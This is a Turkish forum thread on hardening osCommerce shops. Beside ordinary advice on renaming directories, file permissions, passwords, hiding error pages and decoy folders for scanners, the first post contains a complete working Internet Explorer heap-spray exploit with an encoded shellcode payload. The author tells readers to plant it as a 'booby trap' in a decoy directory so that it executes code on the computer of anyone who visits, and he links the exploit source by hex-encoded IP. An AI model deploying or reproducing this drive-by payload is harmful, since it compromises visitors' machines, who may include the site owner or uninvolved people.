PDA


Tüm Versiyonu Göster : Oscommercede Güvenlik


KraL
03-28-2007, 16:34
Merhaba arkadaşlar,

Burada oscommerce güvenliğini elimden geldiğince ve araştırmalarım sayesinde anlatmaya çalışacağım. Başlamadan önce tüm oscommerce güvenlik sorularınızı veyahut bildiklerinizi bu başlık altında veriniz. Aksi takdirde direk çöpe atarım konularınızı;)

Hadi başlayalım :D

1-) katalog/includes/configure.php ve katalog/admin/includes/configure.php

dosyalarını açalım..

define('DIR_WS_INCLUDES', 'includes/');

satırı

define('DIR_WS_INCLUDES', 'eklenen/');

olarak degistirin. daha sonra oscommerce de bulunan

catalog/includes

dizininin adını

catalog/eklenen

olarak değiştirin.Bu şekilde osc de bulunan herhangi bir RFI (REMOTE FILE INCLUDE) açığı sizi SCRIPT_KIDDY lere karşı koruyacaktır.
Script Kiddylerle Dalga Geçmek için HACKER ların işini Zorlaştırmak için biraz BUBİ Tuzağı Hazırlayalım Ne dersiniz ? :D
yukarıdaki işlem bittikten sonra hemen catalog/includes adı altında yeni bir php dosyası oluşturalım
Bizim hiçbir Bağlantı vermediğimiz bir url olan bu catalog/includes dizinine gitmeye çalışan biri bizim POTANSİYEL OLARAK DÜŞMANIMIZDIR.
includes dizini içinde kullanıcının talep edebileceği dizinleri ve dosyalarıda yaratıyoruz ve içine

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<script>
var heapSprayToAddress = 0x05050505;

var payLoadCode = unescape("D�䖋謼ռŸ误ᡏ律Ġ䧫㒋Ƌ㇮駀蒬瓀섇්숁吻Ф律Ĥ曫ಋ譋ᱟ᲋Ƌ觫⑜쌄쀱譤぀삅౸䂋謌ᱰ训ࡨ৫肋° �梋弼噠삃偻繨桳ﺘຊw揧污c");
</script>
<script>
var heapBlockSize = 0x400000;

var payLoadSize = payLoadCode.length * 2;

var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

var spraySlide = unescape("邐邐");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);

heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

memory = new Array();

for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}



function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

</script>
<object id=target classid="CLSID:88d969c5-f192-11d4-a65f-0040963251e5" >
</object>
<script>
var obj = null;

obj = document.getElementById('target').object;

try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};

obj.open(new Object(),new Object(),new Object(),new Object(), new Object());

obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);

</script>


</body></html>

# http://0xd5.0x96.0x2d.0xc4 [2006-11-10]

Not : ilgili exploit microsoft iexplorer 6 ve 7 için şu anda halen kapatılamamış olan WML core services için geçerlidir. Kapatıldığında işe yaramaz.
Yerleştirdiğiniz zaman adamın bilgisayarında istediğiniz kodu çalıştıra bilirsiniz.
İlgili Saldırıdan korunma yolu: firefox kullanmak yada internet kullanmamaktır.

KraL
03-28-2007, 16:37
ilgili exploit burdan temin edilebilir. UVB nin M_ilw0rm.com a uyguladığı politika olan ( **** << yandaki yazıda m_ilw0rm yazıyordu ancak kod koruması değiştirecek) ) ***** basmasını engellemek için ilgili sitenin adresini hex olarak vermeyi uygun gördüm.
http://0xd5.0x96.0x2d.0xc4/exploits/2749 (http://0xd5.0x96.0x2d.0xc4/exploits/2749)

Yukarıda belirttiğim işlemi sadece includes ve admin/includes klasörlerine yaptığınız takdirde ve adminin ismini değiştirdiğinizde DEFAULT OSCOMMERCE (extras dizini filan olmayan) her osc script kiddy denilen grubun RFI saldırılarını Başarı ile puskürtmüş Olur. Bahsettiğim kodu sitesine Koyan kullanıcı hedefi yada sivili vurarak hedefin yada sivilin bilgisayarında kod çalıştırma yetkisine sahip olur.

Bu saldırıyı işlemi atlatıldıktan sonra oluşabilecek 2 sonuç vardır.
script kiddy e teslim olmamış oldunuz O kendine başka hedefler Bulmaya gitti
Hacker O daha saldırıya başlamadan yaptığı araştırmada sizin değiştirdiğiniz dizin isimlerini buldu.

Hackeri önlemenin yolu: Böyle bir yol yok sadece onun işlerini zorlaştırarak direncini kırmak var.
Hergün 6 saatte 1: securityfocus, m1|w0|2m.com ve benzeri hack + güvenlik portallarını ve oscommercede bulunan bug reports kısmını inceleyin bulunan açık fix edilene kadar ya siteyi kapatın yada açığın bulunduğu bölümü yada kendi açığınızı kapatmak için kendi çözümlerinizi üretin.

KraL
03-28-2007, 16:40
Bölüm 0.1 Dizin ve dosya güvenliği
Tüm dosyalarınızı ve dizin izinleriniz ile tek tek ilgilenin. dosyanın izini 755 olması gerekli iken 777 yapmayın !
Bölüm 0.2
Tehdit içerikli bir mesajın Tahili edilmesi.Örnek

Arkadaşım benimle Oynama Canını Yakarım !

0.2. a) Mesajı Gönderen Lamer'dir . Muhtemelen size *.exe fake mail tarzı bir remote kontrol programı yada bir url adresi gönderecektir. İlgili dosya yada bağlantıyı kullanmamanız durumunda 15 dk içinde saldırı sonlanacaktır.
0.2. Mesajı Gönderen script kiddy dir Muhtemelen size daha önce hacklediği sitelerin listesini gösterecektir. Dikkatli olmalısınız Saldırı 1 hafta sürebilir. Sisteminiz hakkında çok az bir bilgi toplayıp siteyi hacklemeye çalışacaktır. İlgili hack ve güvenlik sitelerinden sizin kulandığınız sistem açıklarını ve exploit leri bulacak ve denemeye başlayacaktır. Eğer siz yukarıda Bölüm 0.0 da yazanları ve türevlerini uyguladıysanız Muhtemelen BAŞARISIZ olacaktır. Ama uygulamadıysanız Siteyi Hackleyecektir. Ve Siteyi Hacklemesi Onun çaresizliğinden ibarettir.
0.2.c) Hacker 'dir Saldırı işlem tamamlanıncaya yada pes edinceye (eğer sizden daha önemli bir işi yoksa) kadar devam edecektir. Muhtemelen siteniz hacklenmeyecektir, hacklenebilirde (bilgisine ve felsefesine kalmış) .Bana soracak olursanız Neden hack lesinki Paypal ile ödeme varsa paypal mailini sizinki ile değiştirir. kredi kartı ile aldığınız ve bankaya gönderdiğiniz bilgileri kendinede gönderir. Siz farkedinceye kadar İççamaşırlarınızla kalmış olursunuz. Belki Onlarıda almış olabilir. Yada sizin üzerinizden Sunucuyu Hacklemeye Çalışacaktır yine yeterli zamanı ve bilgisi varsa Sunucuyada El kolayacaktır. Bir sonraki adımda eğer bilgisi varsa sunucunun bulunduğu iç ağa sızmaya çalışacaktır.
Not: İstediği Bilgiyi Nasıl ve nerden alacağını ÇOK İYİ BİLİYORDUR. Yani Onu durduracak Şey Bilgisizliği değil FELSEFESİDİR.
Siteyi HACKLEMESİ DURUMUNDA HACKER ÇARESİZ DEĞİLDİR SADECE SİZDEN DAHA ÖNEMLİ İŞLERİ VARDIR. Ben Olsam Sizi beklemede Bırakır Önemli işlerim bittikten Sonra aynı işleme devam ederim.
Lamere bir örnek: Bu yazı mjturkiye.net te yazıldı. O bu yazıyı kopyalayacak Başka bir forum sitesine sanki kendisi yazmış gibi (düzenleyerek, Ki genelde düzenlemeyi bile akıl etmezler) gösterecek.

0.3 Şifre Güvenliği

123456
010203040506
15799876
isminiz
isminiz1993
isminiz2006

Bunlar şifre değildir. Bunlar benim sistemimin hiçbir önemi yok biraz uğraşan girebilsin diye konulmuş yazılardır.
8ub1|2$1f|23d1r (bu bir şifredir yazısının h4x0r gibi kodlanması ile oluşturulmuştur. aradaki boşluklar imha edilmiştir.)
daha detaylı bilgi için http://www.google.com/intl/xx-hacker/ (http://www.google.com/intl/xx-hacker/)

0.4 Veritabanı Adının Güvenliği:
veritabanı adı ve şifresi bilindikten sonra dünyanın öteki ucundan bile veritabanı ile iletişim kurmak mümkündür.
Veritabanı adını "veritabanı" "database" koyduysanız Arkadaşlar benim veritabanımın adı keklik kadar kolay şifremde yukarıda yazan şifre olmadığını belirttiğin türden İsteyen Brute-force ile bulabilir.
Basit Bir veritabanı adı akılda kalıcı ve Tahmin edilmesi zor (! TAHMİN EDİLEMEZ DEĞİL)
_8u-Oscnin_Veri-748ani

Not: Şifrelerinizi Yukarıda yazdıklarımdan herhangi birinnden seçmeyiniz kendinize özel algoritmalar kullanınız.

KraL
03-28-2007, 16:42
Bölüm 0.5 Hedef şaşırtma
Bu en sevdiğim ettiğim Bölüm. Aşırı sinir bozar Ya pes ettirir yada Daha çok sinirlendirir.
Pes ettirir Çünkü Daha önemli işleri vardır. Yada kapasite Ve bünye yeterli değildir.
Sinirlendirir Çünkü Bu Ben Senden Daha AKILLIYIM anlamına gelir. Bu metodu kullandığınızda ya güvende olacaksınız Yada daha tehlikede.

Bir domainim var acayip güzel ve bu domaini ele geçirmek isteyenler var
domaini kayıt ettirdiğim e-mail adresi admin@guzel_domain.com Daha akıllı olmak Risk almak demektir. Taviz vermemek demektir. TİCARİ OLSUN YADA OLMASIN domainimi kaybetmek istemiyorum. Gerçi 2 ayda mahkeme ile geri alabiilirsiniz. Ispatlayabilirseniz. Ne yapmalı admin@guzel_domain adlı e-posta hesabını devre dısı bırakın (bu işinizi zora sokmak gibi gözüksede admin@guzel_domain ile sisteme giris yapmayı deneyecek kişi asla basarili olamayacaktir. Hacker Host'u yada sunucuyu kontrol eden e-postayı elegeçirirse BİR BARDAK SOĞUK SU İÇİN BENDEN :)

Bölüm 0.6 fake mail yiyen kişi halen varsa Kendine Başka bir iş Bulsun.

Bölüm 0.7 Hata sayfalarını Kullanıcıya göstermeme
Adam sql enjection yapmaya çalışıyor Mysql in yad sql in döndüğü her kod saldırgana yarasa gibi Yönünü ve ne yapmasını Gösterir. Dönen hata kodlarını kullanıcıya Göstermeyin.
Forbidden, iç sunucu hata sayfalarını 404 sayfasını aynı yapın yada forbiddeni 500 iç sunucu hatalarını 404 sayfasına yönlendirin. (Hata ayıklama kısmında işiniz Zorlaşsada Ne yaptığınızı biliyorsunuz. Ama Sizi hedef alarak saldıran kişi sistemi fazla incelemediyse yada otomatik programlarla incelediyse ) Sistem Ona Hep hatalı bilgi verecektir. ( Bu işlem Yasaldır. yasa numarasını hatırlamıyorum. Sunucu banner ve hata kodunu değiştirme hakkı ile ilgili alınan bir kararnameysi) .

Bölüm 0.8 Otomatik Tarama Yapan Programları şaşırtma

Örnek saldırı:

root@linux ~# ./nikto.pl -h hedef_site -p 443 -ssl
Not: Nikto bana göre gelmiş geçmiş en web iyi scannerdir. acuentix sql enjection scannerde yeterince iyi amap iyi bir port scannerdır. nmap :) Neyse

Nikto açık bulunan bir sistemler hakkında bir veritabanına sahiptir. Sonra tek tek hedefte bunları dener. Eğer ilgili bağlantıda veritabanında bulunan bir açık varsa açığı standart çıktı birimine (Monitöre yada dosyaya) basar.
Peki Nasıl kandıracağız. Niktonun veritabanına bakacağız Sistemimize uygun açıkları seçeceğiz. Ve bunları sitemizde oluşturacağız.
örneğin /_vti_bin/, /my_egallery/ v.s Sitenizin ana dizininde böyle bir klasör yaratın . Nikto bunu açık olarak anlayacaktır. Ekrana basacaktır. Sizde üçkağıçılık yapın ve bu klasöre girmeye çalışan herkesi 24 saat banlayın :D Buda sinir Bozar. Ya daha sinirlendirir. Yada Vazgeçip başka bir yol aramaya zorlar.
Not: banlama işlemini yapmak istemiyorsanız nikto veritabanından 100 tane açık seçin ve bunları sitenizde klonlayın
Bu şekilde script kiddy nereye saldıracağınız Bilemez.

ayrıca ismini değiştirdiğimiz katalog/admin dizinine index.php dosyası yaratıp şifre isteyen bir sayfa hazırlarsanız.(kullanıcı adı ve şifre isteyen fakat şifre her şekilde yanlış mesajına geridönen) Kekliğin en az 10 dakikasını boşa harcatmış olursunuz. Bide osc nin admin panelinin benzerinin kopyasını (işlev olarak Çalışmayacak) koyarsanız ve herhangi bir url ye tıkladığında şifre soracak bir sayfaya yönlendirirseniz 10 Dk lık süre (Bu yazıyı okumayan arkadaşlar için geçerlidir) 30 Dk ya veya daha uzun bir süreye çıkar :D

Hacker zaten Banlanmaz o proxy yada socks ile bağlanmıştır. Siz proxy yada sock su banlamışsınızdır
Ki hackerin elinde en az 10 adet proxy olduğunu düşünürsek :D

Insanoğlu elektrik akımı gibidir. DAİMA KOLAY YOLU SEÇER. Elektrik Kolay yolu seçtiğinde KISA DEVRE olabileceğini Bilemez AMa insan Bilir.

viper_aykiri
04-20-2008, 08:55
öncelikle teşekkür ederim çok güzel bir yazı olmuş ama bağzı denemeler yaptım ve şuanda sitem açılmıyor eski dosyaları göndereceğim birazdan ama bir kaç sorum var. önce sorunu yazim include yi eklenen olarak değiştirdim admin ve ana dizindeki ama sayfa açılmadı klasörlerin adınıda değiştirdim olmadı.Unable to connect to database server! hatası veriyor.

ve soruma gelim.
1: 404 sayfalarına yönlendirme işlemi nasıl yapılır.
2: yukaıda belirttiğiniz bubi tuzağı ne işe yarıyor yanlışlıkla ben girersem ne olur.
3: bana acaba bi admin giriş sayfası hazırlaya bilirmisiniz veya varsa gönderebilirmisiniz güzel bir düşüncede

her şey için teşekkürler. çalışmalarınızda başarılar.